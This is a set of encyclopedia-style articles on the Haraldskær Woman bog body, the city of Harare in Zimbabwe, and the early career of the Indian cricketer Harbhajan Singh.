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          The Haraldskr Woman is an Iron Age bog body naturally preserved in a bog in Jutland, Denmark. Labourers discovered the body in 1835 while excavating peat on the Haraldskr Estate. Disputes regarding the age and identity of this well-preserved body were settled in 1977, when radiocarbon dating determined conclusively that her death occurred around 500 BC. This archaeological find was one of the earliest bog bodies discovered, the other two known being Tollund Man (Denmark) and Lindow Man (England).


          The body of the Haraldskr Woman is remarkably preserved due to the anaerobic conditions and tannins of the peat bog in which she was found. Not only was the intact skeleton found, but also the skin and internal organs. Her body lies in state in an ornate glass-covered coffin, allowing viewing of the full frontal body, inside the Church of Saint Nicolai in central Vejle, Denmark.


          


          Mistaken identity
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          After discovery of the body, early theories of her identity centered around the persona of the Norwegian Gunnhild Mother of Kings, who lived around 1000 AD. Most of the bog bodies recovered indicate the victim died from a violent murder or ritualistic sacrifice. These theories are consistent with the body being hurled into a bog as opposed to burial in dry earth.


          The Jmsvkinga saga tells that Queen Gunhild was murdered and then drowned in a bog, her death having been ordered by the Danish Harald Bluetooth. Based upon the belief of her royal personage, King Frederick VI of Denmark commanded an elaborate sarcophagus be carved to hold her body. This royal treatment of Haraldskr Womans remains explains the excellent state of conservation of the corpse; conversely, Tollund Man, a later discovery, was not properly conserved and most of the body has been lost, leaving only the head as original remains in his display.


          A young 19th century archaeologist named J.J.A. Worsaae held the opposing theory, that Haraldskr Woman derived from the Iron Age. Radiocarbon testing in the year 1977 revealed Haraldskr woman died about 500 BC, and thus could not possibly be Queen Gunhild. Even though she is not now connected to any royal lineage, her body still lies in state in a display of high honour in the north nave of Saint Nicolai Church.


          


          Details of Haraldskr Woman
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          The body of Haraldskr woman has the complete skin envelope intact, as well as internal organs. She is estimated to have died at the age of approximately 50. She is noted to have a lancing wound to the knee joint area, where some object (possibly a sharp branch) penetrated to some depth. Whether she was a murder victim or a ritual sacrifice is not clear. In any case, Haraldskr Woman exhibits a breathtaking state of preservation. Her skin is deeply bronzed with robust skin tone and all the body joints are preserved with overlying skin in a state as if she died a year ago, albeit slightly desiccated.


          Forensic analysis was performed on Haraldskr Woman in the year 2000, revealing stomach contents of unhusked millet and blackberries. Her neck had markings as if a rope may have been applied for torture or strangulation. A determination was made that death was a form of ritual killing, as indicated by forensic data and also since cremation was the prevailing mode of interment in that age in Jutland.


          


          Bog chemistry


          There are a limited number of bogs which have existed for millennia that have the correct conditions for preservation of mammalian tissue. Most of these bogs occur in northern Europe, where approximately 700 ancient bodies have been discovered as of the year 2006. These bogs are formed in areas which lack drainage and hence have little freshwater exchange; they are also characterized by virtually completely anaerobic conditions. This environment, devoid of oxygen, denies the prevalent subsurface aerobic organisms any opportunity to initiate the tissue decay process. Modern experimenters have been able to mimic bog conditions in the laboratory and demonstrate the preservation process well, albeit over shorter time frames than the 2500 years the Haraldskr Woman's body has survived.


          The bog chemistry environment involves a completely saturated acidic environment, where considerable concentrations of organic acids and aldehydes are present. Layers of sphagnum and peat assist in preserving the cadavers by enveloping the tissue in an immobilizing matrix, impeding water circulation and any oxygenation.


          An additional feature of anaerobic preservation by acidic bogs is the ability to conserve hair, clothing and leather items. An excellent example of the complete scalp hair as well as clothing attire being preserved is for the Bronze Age Egtved Girl, also recovered in Jutland, Denmark.


          Most of the bog bodies discovered had some aspects of decay or else were not properly conserved. When such specimens are exposed to the normal atmosphere without special conservation techniques, they may rapidly begin the decomposition process. As a result of such mishandling, many specimens have been effectively destroyed.


          


          Relation to other bog bodies


          Geographically the principal locations where bog bodies have been discovered are Denmark, northern Germany, the Netherlands (at least 65), the United Kingdom and Ireland. Many of the bodies have been recovered in the routine extraction of peat for fuel and soil amendment uses. The oldest of these bodies dates to about 8000 BC, while the majority of specimens derive from the Iron Age to Roman era (about 800 BC to 400 AD). Major excavations have occurred in Jutland following the discovery that systematic conservation of Iron Age bodies and buildings was attributable to acidic anaerobic bog habitats.


          


          Haraldskr Woman in literature


          The first literary reference to Haraldskr Woman was in the 1845 work of Danish playwright Jens Christian Hostrup. This dramatic work, The Sparrow and the Crane Dance, portrays Queen Gunhild as a mysterious ghostly personage who materializes before a tailor to present him with a magical ring. The gift alters the way people perceive the beneficiary and transforms him into a heroic figure. The play ridicules the bourgeoisie's inability to engage the realities of the mid-nineteenth century, and the work indirectly discredits the theory that the Haraldskr Woman was actually Queen Gunhild, thus becoming the first major public endorsement of Worsaaes hypothesis.
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              	Nickname(s): H Town
            


            
              	Motto: Pamberi Nekushandria Vanhu (Forward with Service to the People)
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              	Coordinates:
            


            
              	Country

              	Zimbabwe
            


            
              	Province

              	Harare
            


            
              	Founded

              	1890
            


            
              	Incorporated (city)

              	1935
            


            
              	Government
            


            
              	- Mayor

              	Muchadeyi Masunda
            


            
              	Elevation

              	1,490m (4,888ft)
            


            
              	Population ( 2006)
            


            
              	-City

              	1,600,000
            


            
              	- Urban

              	2,800,111
            


            
              	

              	estimated
            


            
              	Time zone

              	CAT ( UTC+2)
            


            
              	-Summer( DST)

              	CEST ( UTC+1)
            


            
              	Twin Cities
            


            
              	-Nottingham

              	United Kingdom
            


            
              	-Munich

              	Germany
            


            
              	- Cincinnati

              	United States
            


            
              	- Prato

              	Italy
            


            
              	- Lago

              	Italy
            


            
              	Website: http://www.hararecity.co.zw
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          Harare (pronounced /həˈrɑreɪ/ or /həˈrɑri/, formerly Salisbury) is the capital of Zimbabwe. It has an estimated population of 1,600,000, with 2,800,000 in its metropolitan area (2006). Administratively, Harare is an independent city equivalent to a province. It is Zimbabwe's largest city and its administrative, commercial, and communications centre. The city is a trade centre for tobacco, maize, cotton, and citrus fruits. Manufactures include textiles, steel, and chemicals, and gold is mined in the area. Harare is situated at an elevation of 1483 metres (4865 feet) and its climate falls into the warm temperate category.


          Harare is the site of the University of Zimbabwe, the largest and most complete institution of higher learning in Zimbabwe, which is situated about 5km north of the city. Numerous suburbs surround the city, retaining the names colonial administrators gave them during the 19th century, such as Warren Park 'D', Borrowdale, Mount Pleasant, Marlborough, Tynwald and Avondale.


          


          History
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          Pioneer Column, a military volunteer force of settlers organised by Cecil Rhodes, founded the city in 1890 as a fort. They originally named the city Fort Salisbury after the 3rd Marquess of Salisbury, then British prime minister, and it subsequently became known simply as Salisbury. It was declared to be a municipality in 1897 and it became a city in 1935. Salisbury was the capital of the Federation of Rhodesia and Nyasaland from 1953 to 1963. After that point, it was the capital of Southern Rhodesia. The government of Ian Smith declared Rhodesia independent of Great Britain on November 11, 1965, and proclaimed the Republic of Rhodesia in 1970. Subsequently, the nation became the short-lived state of Zimbabwe Rhodesia; it was not until April 18, 1980, that the country was internationally recognized as independent as the Republic of Zimbabwe. The capital city retained the name Salisbury until 1982.


          The name of the city was changed to Harare on April 18, 1982, the second anniversary of Zimbabwean independence, taking its name from the Shona chieftain Neharawa. It is also said the name derived from the European corruption of "Haarari" ("He does not sleep"), the epithet of the chief whose citadel was located in the area known today as the Kopje (pronounced "Koppie"). It was said that no enemy could ever launch a sneak attack on him. Prior to independence, "Harare" was the name of the Black residential area now known as Mbare.


          The area at the time of founding of the city was poorly drained and earliest development was on sloping ground along the left bank of a stream that is now the course of a trunk road (Julius Nyerere Way). The first area to be fully drained was near the head of the stream and was named Causeway as a result. This area is now the site of many of the most important Government buildings, including the Senate House and the Office of the Prime Minister (now renamed for the use of President Mugabe after the position was abolished in January 1988.)


          


          Climate
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          Harare has a pleasant and healthy climate. The average annual temperature is 17.95C, rather low for the tropics, and this is due to its high altitude position and the prevalence of a cool south-easterly airflow. There are three main seasons - a warm, wet season from November to March/April; a cool, dry season from May to August (corresponding to the Southern Hemisphere winter); and a hot, dry season in September/October. Daily temperature ranges are about 7C to 20C in July (coldest month), about 13C to 28C in October (hottest month) and about 15.5C to 25C in January (midsummer). The hottest year on record was 1914 - 19.73C - and the coldest year was 1965 - 17.13C. The average annual rainfall is about 825mm in the south-west rising to 855mm on the higher land in the north-east (around Borrowdale to Glen Lorne). Very little rain usually falls during the period May to September although sporadic showers occur in most years. Rainfall varies a great deal from year to year and follows cycles of wet and dry periods that are from 7 to 10 years long. Records begin in October 1890 but all three Harare stations stopped reporting in early 2004.


          The climate supports a natural vegetation of open woodland. The most common tree of the local region is the Msasa Brachystegia spiciformis that colours the landscape wine-red with its new leaves in late August. An introduced tree that contributes most to the town's atmosphere is the Jacaranda (a South American species) that produces a burst of lilac when it blooms in September.


          Notable landmarks and institutions


          
            	Barbourfields Stadium


            	CBZ Holdings


            	Cairns Holdings


            	Data Control & Systems


            	Dynamos F.C.


            	Gwanzura


            	44 Harvest House


            	Mbare Musika


            	Mushandirapamwe Hotel


            	National Gallery of Zimbabwe


            	Net*One


            	Parirenyatwa Hospital


            	Roman Catholic Archdiocese of Harare


            	Rufaro Stadium


            	Sam Nujoma Street


            	St. John's College, Harare


            	University of Zimbabwe


            	Queen Victoria Museum


            	Zimbabwe Stock Exchange


            	Zimbabwe grounds


            	Zimbabwe Museum of Human Sciences

          


          


          International Venue


          Harare has been the location of several international summits such as the 8th Summit of the Non-Aligned Movement ( 6 September 1986) and Commonwealth Heads of Government Meeting (1991). The latter produced the Harare Declaration, dictating the membership criteria of the Commonwealth. In 1995, Harare hosted most of the 6th All-Africa Games, sharing the event with other Zimbabwean cities such as Bulawayo and Chitungwiza.


          


          Transportation


          A public transportation system of buses, run by ZUPCO has crumbled in recent years. Instead there has been a proliferation of privately owned companies that operate commuter omnibuses. With the advent of the fuel crisis in the country, the government introduced commuter trains in order to ease transport shortages.


          Harare International Airport serves Harare. The National Railways of Zimbabwe, NRZ operate a daily overnight passenger train service that runs from Harare to Mutare and another one from Harare to Bulawayo.


          


          News & information


          Residents are exposed to a variety of sources for information, though almost all of their sources are controlled by the government. In the print media, there is the Herald, Financial Gazette, Independent, Standard, and Kwayedza. Since there has been an explossion of online media outlets. These include ZimOnline, ZimDaily, Guardian, NewZimbabwe, Times, Harare Tribune, Zimbabwe Metro and many others. The government controls all the electronic media, though Voice of America, Voice of the people and SW Radio Africa beam broadcasts into the country occassionally.


          


          Sister cities
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              	Personal information
            


            
              	Fullname

              	Harbhajan Singh
            


            
              	Nickname

              	Bhajji, The Turbanator (English language media)
            


            
              	Born

              	3 July 1980 (1980-07-03)
            


            
              	

              	Jalandhar, Punjab, India
            


            
              	Height

              	5ft11in (1.80m)
            


            
              	Role

              	Bowler
            


            
              	Batting style

              	Right-hand
            


            
              	Bowling style

              	Right-arm off break
            


            
              	International information
            


            
              	Test debut ( cap 215)

              	25 March 1998:vAustralia
            


            
              	Last Test

              	2 January 2008:vAustralia
            


            
              	ODI debut ( cap 113)

              	17 April 1998:vNew Zealand
            


            
              	Last ODI

              	10 June 2007: Asia XIv Africa XI
            


            
              	ODI shirt no.

              	3
            


            
              	Domestic team information
            


            
              	Years

              	Team
            


            
              	1997present

              	Punjab
            


            
              	2005present

              	Surrey
            


            
              	Career statistics
            


            
              	

              	Tests

              	ODIs

              	FC

              	List A
            


            
              	Matches

              	62

              	161

              	125

              	207
            


            
              	Runs scored

              	1063

              	829

              	2445

              	1127
            


            
              	Batting average

              	15.86

              	13.81

              	18.80

              	14.08
            


            
              	100s/50s

              	-/3

              	0/0

              	0/7

              	0/0
            


            
              	Top score

              	66

              	46

              	84

              	46
            


            
              	
            


            
              	Balls bowled

              	16715

              	8695

              	30487

              	10973
            


            
              	Wickets

              	255

              	181

              	526

              	240
            


            
              	Bowling average

              	31.02

              	33.46

              	27.31

              	31.78
            


            
              	5 wickets in innings

              	20

              	2

              	34

              	2
            


            
              	10 wickets in match

              	4

              	n/a

              	6

              	n/a
            


            
              	Best bowling

              	8/84

              	5/31

              	8/84

              	5/31
            


            
              	Catches/ stumpings

              	33/-

              	46/

              	66

              	65
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          Harbhajan Singh pronunciation (Punjabi: ਹਰਭਜਨ ਸਿੰਘ, born: 3 July 1980 in Jalandhar, Punjab, India) is an Indian cricketer and is one of the world's most successful off spin bowlers.


          Harbhajan made his Test and One Day International (ODI) debuts in early 1998. His career was initially beset by investigations into the legality of his bowling action and disciplinary incidents that raised the ire of cricket authorities. However in 2001, with leading leg spinner Anil Kumble injured, Harbhajan's career was resuscitated after Indian captain Sourav Ganguly called for his inclusion in the Border-Gavaskar Trophy team. In that series victory over Australia, Harbhajan established himself as the team's leading spinner by taking 32 wickets and becoming the first Indian bowler to take a hat trick in Test cricket.


          A finger injury in mid 2003 sidelined him for much of the following year, allowing Kumble to regain his position as the first choice spinner. Harbhajan reclaimed a regular position in the team upon his return in late 2004, but often found himself watching from the sidelines in Test matches outside the Indian subcontinent with typically only one spinner, Kumble, being used. Despite unremarkable Test performances in 2006, which led to speculation about his lack of loop and his waning value as a strike bowler, he remains India's first-choice ODI spinner.


          


          Early years and personal life


          Harbhajan was born into a middle class Punjabi family, the only son of businessman Sardar Sardev Singh, who owned a ball bearing and valve factory. Growing up with five sisters, he was in line to inherit the family business, but his father insisted that he concentrate on his cricket career and represent India.


          Harbhajan was trained as a batsman by his first coach Charanjit Singh Bullar, but converted to spin bowling after his coach's untimely death saw him turn to the tutelage of Davinder Arora. Arora credits Harbhajan's success to a work ethic that included a three hour training session in the morning, followed by another in the afternoon lasting from 3pm until after sunset, using the headlights of a parked scooter to provide light.


          Following the death of his father in 2000, Harbhajan became the family head, and as of 2001, had organised marriages for three of his sisters. In 2002, he ruled out his own marriage until at least 2008. In 2005, he again fended off marriage rumours linking him to a Bangalore based bride, stating that he would only make a decision "after a couple of years", and that he would be seeking a Punjabi bride selected by his family. In 2007, in an interview with Tim Sheridan for the Cricket Show, he admitted that he hoped his marriage would take place within the next year.


          In a country where cricketers are idolised, Harbhajan's performances have brought him government accolades and lucrative sponsorships. Following his performance against Australia in 2001, the Government of Punjab awarded him Rs. 5 lakh, a plot of land, and an offer to become an honorary Deputy Superintendent of Punjab Police, which he declined. Harbhajan is also an employee of Indian Airlines, for whom he does promotions.


          Somewhat ironically, after being offered an honorary post with the police, Harbhajan sustained minor injuries in March 2002 in an altercation with police outside the team hotel in Guwahati. The scuffle broke out when Harbhajan remonstrated with police officers after they refused to allow a photographer into the hotel. Harbhajan was struck by the police, cutting his bowling arm and injuring his elbow. Extensive negotiations from local officials and organisers were required to dissuade Harbhajan and captain Sourav Ganguly from leaving the area after Ganguly said that the Indian team would abandon the scheduled match against Zimbabwe.


          


          One of his common nicknames, outside India, is The Turbanator, deriving from his skill as a bowler in terminating the innings of the opposing team, and the fact that, as a Sikh, he wears a black turban whenever he plays. Among Indians, Harbhajan is more commonly known as bhajji. It was estimated in 2005 that Harbhajan was the most recognised and commercially viable Indian cricketer after Sachin Tendulkar, in part due to his colourful personality and iconic turban, as well as his reputation for enjoying the celebrity social scene. His signing for English county team Surrey in 2005, based at The Oval in London, was partly attributed to his marketability. Harbhajan had generated a large personal following in the western London suburb of Southall, which boasts a majority Punjabi Sikh population, when he lived there in 1998 whilst training under Fred Titmus.


          In 2006, Harbhajan's endorsements generated controversy when he appeared without his turban in an advertisement for Royal Stag whisky. This angered many orthodox Sikhs, leading to anti-Harbhajan protests in the Sikh holy city of Amritsar, with effigies of Harbhajan being burnt. The Sikh clergy and Shiromani Gurdwara Prabandhak Committee demanded an apology from him and asked Seagram's to withdraw the advert, on the basis that it had "hurt the feelings of Sikhs". Harbhajan quickly issued an apology, but he was also unhappy at the clergy's interference, stating "If they were unhappy, they should have called me and talked to me like a son".


          


          Early career
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          Harbhajan made his first-class cricket debut in late 1997, during the 1997/98 Ranji Trophy season for Punjab cricket team. Playing in six matches, he took 18 wickets at an average of 22.5, ranking outside the top 20 in both wicket taking and averages. He played in only one Duleep Trophy match for North Zone, in which he took 5/131. Despite many bowlers having superior domestic performances, Harbhajan was selected to make his Test debut in the Third Test against Australia in Bangalore, where he recorded the modest match figures of 2/136. He was subsequently overlooked for the ODI tournament that followed the Tests, involving Zimbabwe in addition to Australia, but was selected for all group matches in the triangular tournament that followed soon after in Sharjah, where he made his ODI debut against New Zealand. Harbhajan was fined and reprimanded by the match referee in his first international series, when his on-field behaviour was adjudged to breach the ICC Code of Conduct, following an altercation with Ricky Ponting after Ponting was dismissed by Harbhajan.


          Harbhajan was then omitted from the team during a home triangular ODI tournament against Bangladesh and Kenya, but was recalled for the Singer Trophy in Sri Lanka, claiming eight wickets at an average of 24.1. After again being omitted for the Sahara Cup series against Pakistan in Toronto, Harbhajan took five wickets at an average of 22.6 on a tour to Zimbabwe, in what would proved to be his last ODI appearances for India for more than two years. In all, he took 18 wickets at an average of 27.2 during the calendar year.


          Harbhajan was retained in the Test team, taking 5/106 in the only Test on the Zimbabwe tour. However, his opportunities were limited in the 1998/99 season, playing in five of the seven Tests after being omitted for matches against New Zealand and Pakistan respectively. In all, he claimed 13 wickets at an average of 36.8. When he was free of international fixtures for the season, he played in the Ranji Trophy matches, claiming 27 wickets at an average of 24.59 in five matches, including his first five-wicket haul at first-class level. Harbhajan was overlooked for the ODI team for the whole season and missed selection for the 1999 Cricket World Cup. He managed to retain his Test position for the late 1999 home series against New Zealand, as India fielded a three pronged spin attack on dusty tracks, taking six wickets at an average of 32.66.


          


          International exile


          Harbhajan toured Australia in 1999/2000, as the second spinner. He did not play in the Tests, with India opting to field only Anil Kumble in the team. Upon returning to India in early 2000 for the latter stages of the season, Harbhajan was again unable to find a position in the Indian team, as Murali Kartik became Kumble's spinning partner.


          In mid-2000, an opportunity arose when Harbhajan was selected in the first group of trainees sent to the National Cricket Academy to study under Erapalli Prasanna and Srinivas Venkataraghavan, two off spin bowlers from the Indian spin quartet of the 1970s. However, his behaviour did not conform to requirements, and he was expelled on disciplinary grounds by director Hanumant Singh. His sponsorship job with Indian Airlines was also reviewed as a result of his indiscipline. Harbhajan later admitted that he had been at fault earlier in his career.


          Following his run-ins with Indian cricket administrators, there was nothing to indicate that Harbhajan's chances of national selection had improved at the start of 2000/01. Despite Kumble being injured, Harbhajan was again overlooked as Kartik, Sunil Joshi, and debutant Sarandeep Singh were entrusted with the spin bowling duties in Test matches against Bangladesh and Zimbabwe on the subcontinent. Having made little success in this phase of his international career, averaging 37.75 per wicket, and seemingly out of favour with selectors, Harbhajan faced a difficult decision. His father had recently died; as the family's only son, Harbhajan was now obliged to support his mother and unmarried sisters. He contemplated quitting cricket and moving to the United States to drive trucks for a living. After being out of the team for more than 12 months, there was little indication of the sudden rise that would occur in his cricketing career only a few months later.


          [bookmark: 2001_Border-Gavaskar_Trophy]


          2001 Border-Gavaskar Trophy


          With Kumble injured during the home series in March 2001 against the visiting Australians, Harbhajan, whose previous best Test figures were only 3/30, was entrusted with a heavy burden. He was to lead the spin attack against an Australian team which had set a world record with 15 consecutive Test victories, and was searching for its first ever series victory on Indian soil since 1969. Harbhajan started well in the First Test in Mumbai, taking three quick wickets in a spell of 3/8, to reduce Australia to 99/5 in response to India's first innings of 176. However, a counter-attacking 197- run partnership between Matthew Hayden and Adam Gilchrist in just 32 overs, saw Harbhajan concede 103 runs from his last 17 overs, to end with 4/121. Despite being struck for many sixes into the crowd, it was still Harbhajan's best statistical analysis at Test level, as Australia proceeded to a crushing 10-wicket victory, their sixteenth consecutive Test victory in succession.
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          With leading paceman Javagal Srinath ruled out of the series with a finger injury during the First Test, the teams met for the Second Test in Kolkata, with an even bigger burden on Harbhajan. Public opinion was sceptical about India's chances of stopping Australia's winning streak, with former captain Bishan Bedi lamenting the demise of Indian cricket. Australia were again in control on the first day, having scored 193/1, with Hayden having struck Harbhajan out of the attack. Harbhajan fought back to reduce Australia to 252/7, taking five wickets in the final session, including Ricky Ponting, Gilchrist and Shane Warne in successive balls to become the first Indian to claim a Test hat-trick. After a prolonged wait for the third umpire to adjudicate whether Sadagoppan Ramesh had managed to catch Warne before the ball hit the ground, the near-capacity crowd at Eden Gardens erupted when he was given out. Harbhajan eventually finished with 7/123 as Australia were bowled out for 445. India batted poorly and were forced to follow-on, but a 376-run partnership between V. V. S. Laxman and Rahul Dravid, who batted together for an entire day, allowed India to set Australia an imposing target of 384 to win on the final day. Australia appeared to be safely batting out the match for a draw, until losing 7/56 in the final session, collapsing from 166/3 to be bowled out for 212. Harbhajan claimed four of the wickets, to finish with 6/73 for the innings and a match tally of 13/196. India ended Australia's 16-match world record winning streak, and became only the third team to win a Test after being forced to follow on (Australia having lost all three of those matches).


          The teams arrived in Chennai for the deciding Third Test, and Australia's batsmen again seized control after winning the toss, reaching 340/3 on the second morning. Then, Australian captain Steve Waugh padded away a delivery from Harbhajan. The ball spun back into Waugh's stumps, who pushed the ball away with his glove, becoming only the sixth batsman in Tests to be given out " handled the ball". Waugh's dismissal instigated another Australian batting collapse, losing 6 wickets for 51 runs to be bowled out for 391, with Harbhajan taking all six in a spell of 6/26, to finish with 7/133. After India's batsmen gained a first-innings lead of 110, the Australian batsmen were again unable to cope with Harbhajan in the second innings, who took 8/84 to end with match figures of 15/217. India appeared to be heading for an easy victory at 101/2 chasing 155, before losing 6/50 to be 151/8. Perhaps fittingly, Harbhajan walked to the crease, and struck the winning runs.


          He was named man of the match and man of the series, having taken 32 wickets in the series, when none of his team-mates managed more than 3.. The Wisden 100 study conducted by Wisden in 2002 rated all four of Harbhajan's efforts in the Second and Third Tests in the top 100 bowling performances of all time, the most for any bowler. He paid tribute to his father, who had died just six months earlier. His performance led to him usurping Anil Kumble's position as India's first-choice spinner.


          


          Later career


          Harbhajan's Test success saw him recalled to the ODI team after more than two years. He was unable to reproduce his Test form against Australia, managing only four wickets at an average of 59.25, and a cameo batting performance of 46 runs from 34 balls, including three sixes. He was dropped from the ODI team during a subsequent triangular tournament in Zimbabwe in 2001 after only managing two wickets at 69. Harbhajan was also unable to maintain his form in the Test series, taking eight wickets at 29.1 in the series against Zimbabwe, but did manage to post his first Test half-century, reaching 66 in the First Test in Bulawayo. The Indians subsequently toured Sri Lanka in mid-2001, enjoying spinning wickets similar to those in India. Harbhajan managed to establish himself in the ODI team with eleven wickets at 21, but his Test form deteriorated further, yielding only four wickets at 73, while Sri Lankan spinner Muttiah Muralitharan was named man of the series with 23 at 19, in what was billed as a contest between the world's two leading off-spinners. Harbhajan was omitted from the Indian team in favour of Kumble on the following tour of South Africa, only playing in the later matches when India fielded two spinners. Nevertheless, Harbhajan continued to average 20 in the ODI format, winning his first man of the match award in the ODI form in an ODI against South Africa in Bloemfontein. His disciplinary problems continued when he was one of four Indian players fined and given a suspended one match suspension for dissent and attempting to intimidate the umpire by over-appealing.


          Harbhajan's Test fortunes improved immediately upon the start of the 2001/02 international season in India. Playing in his first international match at his home ground in Mohali, Punjab, Harbhajan took match figures of 7/110, including 5/51 in the first innings, to help India win the First Test by ten wickets against the touring English team. He continued his steady form throughout the series with another five wicket haul in the Second Test in Ahmedabad, to end with thirteen wickets at 24.53 for the series. Harbhajan's good form persisted in the matches against Zimbabwe, taking twelve wickets at 19.66. His 2/70 and 6/62 in the second Test in Delhi saw him named man of the match in a Test for the second time in his career. As in the first instance, he hit the winning runs, a straight-driven six. He also performed strongly in the ODIs during the Indian season, taking twenty wickets at 19.75 in ten matches and taking his first five wicket haul in ODIs.


          Harbhajan's overseas difficulties returned during the tour of the West Indies in mid-2002. He injured his shoulder while fielding in a tour match, and was forced to miss the First Test in Guyana. After taking only six wickets at 38 upon his return to the team for the Second Test, he was dropped for the Fourth Test, but was recalled again for the Fifth Test at Sabina Park, after Kumble was injured. Despite taking improved figures of 8/180, Harbhajan was unable to prevent an Indian defeat. He claimed three wickets in the three match ODI series at 33. Despite his performance at Sabina Park, Harbhajan was dropped again when Kumble returned for the First Test on the tour to England at Lord's. India's coach John Wright later admitted that this had been a mistake. Harbhajan returned for the final three Tests with moderate success, taking 12 wickets at 34.16, as well as managing his second Test half-century of 54 at Trent Bridge in the Second Test. The 2002 ICC Champions Trophy in Sri Lanka at the end of the tour brought moderate results with six wickets at 30.66, and a best of 3/27 in the washed out final against the host nation.


          As was the case in the previous season, Harbhajan's return to Indian soil coincided with an improvement in results. He took 8/85 in an innings victory at Mumbai in the First Test against the West Indies, and then contributed match figures of 7/135 and 37 in an eight wicket victory in Chennai which saw him named man of the match. A haul of 5/115 in the Third Test at Calcutta was the best in a high scoring match, and with 20 wickets at 16.75, Harbhajan was named as the man of the series. He was unable to transfer his performances to the ODI format, taking only six wickets at 50.16 against the same team. Harbhajan took only five wickets in the subsequent Test tour to New Zealand, in a series where five pace bowlers averaged less than 20 on seaming tracks.


          Harbhajan had a mixed tournament at the 2003 Cricket World Cup, taking 11 wickets at 30.45. He was the first-choice spinner and played in all matches but one, being dropped against arch-rivals Pakistan. His rival, Kumble, played in only three matches. Harbhajan was the only Indian bowler to take a wicket in the defeat to Australia in the final, taking 2/49. He was the fourth leading wicket taker for India overall and his tournament bowling average was worse than those of Zaheer Khan, Ashish Nehra and Javagal Srinath. He finished the season with six wickets at 14 in an ODI tournament in Bangladesh, where he was fined for abusing an umpire.


          


          Finger injury


          After experiencing pains in his spinning finger during the World Cup, Harbhajan was scheduled to undergo surgery in mid-2003 in Australia, but the surgery was delayed as he sought to play through the pain. He underwent physiotherapy in lieu of surgery and was declared fit for a two-match Test series against New Zealand in late 2003. His performance was substantially worse than his previous displays on Indian soil, taking only six wickets at an average of 50. Aside from his debut series, it was his worst series bowling average on Indian soil. Despite an ODI series in which he managed only four wickets at 40.5, the Indian team attempted to manage his injury rather than have his finger operated on, and took him on the 2003/04 tour of Australia. After an ineffective 1/169 in the First Test at Brisbane, his injury deteriorated and he underwent major finger surgery late in the year 2003. Kumble replaced him and took 24 wickets in the remaining three Tests. Kumble bowled India to victory in the following Test against Pakistan in Multan, taking 6/71 to reclaim his position as the No.1 spinner.


          After a seven-month layoff, Harbhajan returned to represent India in ODIs in the Asia Cup in July 2004, where he took four wickets at 39.75 in four matches. His performance improved markedly on the tour to England for an ODI series against England and the 2004 ICC Champions Trophy, taking eight wickets at 14 and hitting as an unbeaten 41 against England at The Oval.


          Harbhajan made his Test return against Australia, who were again seeking their first series win on Indian soil since 1969 in the late 2004 home series. Harbhajan took 5/146 in the first innings and 6/78 in the second innings in addition to making a run out to reduce Australia from 103/3 to 228 all out. Despite this, India required 457 in their second innings to win, slumping to 125/8 before Harbhajan (42) and Irfan Pathan helped India to reach 239, still a 217-run loss. Harbhajan was less effective in the drawn Second Test in Chennai, with match figures of 5/198, and withdrew from the Third Test in Nagpur due to illness. Australia won the match, clinching the series. Harbhajan returned for the final Test. After failing to take a wicket in the first innings, he claimed 5/29 in the second to help India bowl Australia out for 93 and claim a dramatic 14 run victory. Harbhajan ended the series with 21 wickets at 24.


          A Test series in India against South Africa followed, with Harbhajan taking match figures of 4/166 in the First Test in Kanpur, before producing a man of the match performance in the Second Test in Calcutta to lead India to a 1-0 series win. After taking 2/54 in the first innings, he took 6/78 in the second, including South Africa's first five batsman to set up a successful run-chase of 117. Harbhajan was the leading wicket-taker for the series, with 13 at an average of 23.61. He ended 2004 with a quiet tour of Bangladesh, scoring a 47 and taking four wickets at 41.75 in two Tests and one wicket at 94 in two ODIs. He had a relatively light workload, bowling only 47.4 overs, as Irfan Pathan frequently scythed through the Bangladeshi batsmen with the new ball, taking three five wicket hauls.


          His performance in Bangladesh saw him dropped for the First Test in the early 2005 series against Pakistan on his home ground in Mohali, with Kumble being the only spinner selected on the pace-friendly surface. He was recalled for the Second Test in Calcutta and took match figures of 4/145 in an Indian victory. Despite taking 6/152 in a marathon 51-over spell in the first innings of the Third Test in Bangalore, Pakistan won the match to level the series. He finished the series with 10 wickets at 33.2. His performance in the subsequent ODI series was even worse, managing only three wickets at 73.66 in five matches. In spite of the poor end to the season, his performance in the year since finger surgery saw him nominated for the 2005 ICC Test Player of the Year. Harbhajan spent the international off-season playing for Surrey in English county cricket, citing the improvement that other international players had gained from such an experience. It was his first stint in county cricket, after a planned season at Lancashire in 2003 was cancelled due to injury.


          


          Chappell era


          Harbhajan's first outings under newly appointed coach Greg Chappell came at the Indian Oil Cup in Sri Lanka in August 2005. He took five wickets at 31.4 in four matches, but was wicketless in the final, which was won by the host nation. This was followed by a tour of Zimbabwe, which was marred by tension between the new coach and Indian captain Ganguly. Harbhajan played in five matches in the Videocon Tri-Series involving Zimbabwe and New Zealand, managing only two wickets at 94, both of them against an inexperienced Zimbabwe team crippled by a mass exodus of white players from the Mugabe regime. Harbhajan had a quiet Test series against Zimbabwe, taking six wickets at 31. He was only required to bowl 58 overs, as the majority of the Zimbabwean batsmen were removed after being unable to cope with Pathan's swing which was likened to "Frisbees at high speed". He managed to claim his 200th Test wicket in the First Test, and in doing so became the second youngest player to reach the mark after Kapil Dev. Harbhajan's batting was notable for an exceptionally aggressive 18-ball innings in the First Test in Bulawayo, where he struck four fours and three sixes in a cameo innings of 37.


          Harbhajan's difficulties were compounded when he earned the ire of cricket authorities by publicly attacking Chappell and defending Ganguly after the team returned to India. He claimed that Chappell had used "double standards" and instilled "fear and insecurity" into the team. The Punjab Cricket Association called him to explain his actions, but he was not punished after offering an apology. In early 2006, Harbhajan changed his stance publicly, praising Chappell for the team's improved form, stating "He has great knowledge about the game and it has been a very successful year for us under him. He has lifted our team to great heights".


          Harbhajan was under pressure to perform when Sri Lanka toured India in late 2005 following his attack on Chappell and the replacement of Ganguly, who had frequently supported him during previous career difficulties, with new captain Rahul Dravid. In addition, his home ODI form had been poor in the previous three years, managing only 12 wickets at 56 in 16 matches, with an economy rate of 4.8. He responded by claiming 3/35 in the first ODI in Nagpur after Sri Lanka had raced to 50 in just 6.3 overs. The Sri Lankan batsman hit the Indian fast bowlers out of the attack, scoring 74 runs in the first 10 overs and forcing Dravid to delay the Power Play and introduce Harbhajan. This sparked a collapse, with 4 wickets taken for 14 runs, resulting in a 152-run Indian victory. Harbhajan aggregated six wickets at 26 in the first four matches, at a low economy rate of 3.43, with a series of performances noted for skillful variations in pace and flight, helping India gain an unassailable 4-0 series lead. He was subsequently rested for the fifth ODI, and ended the series as the most economical bowler.


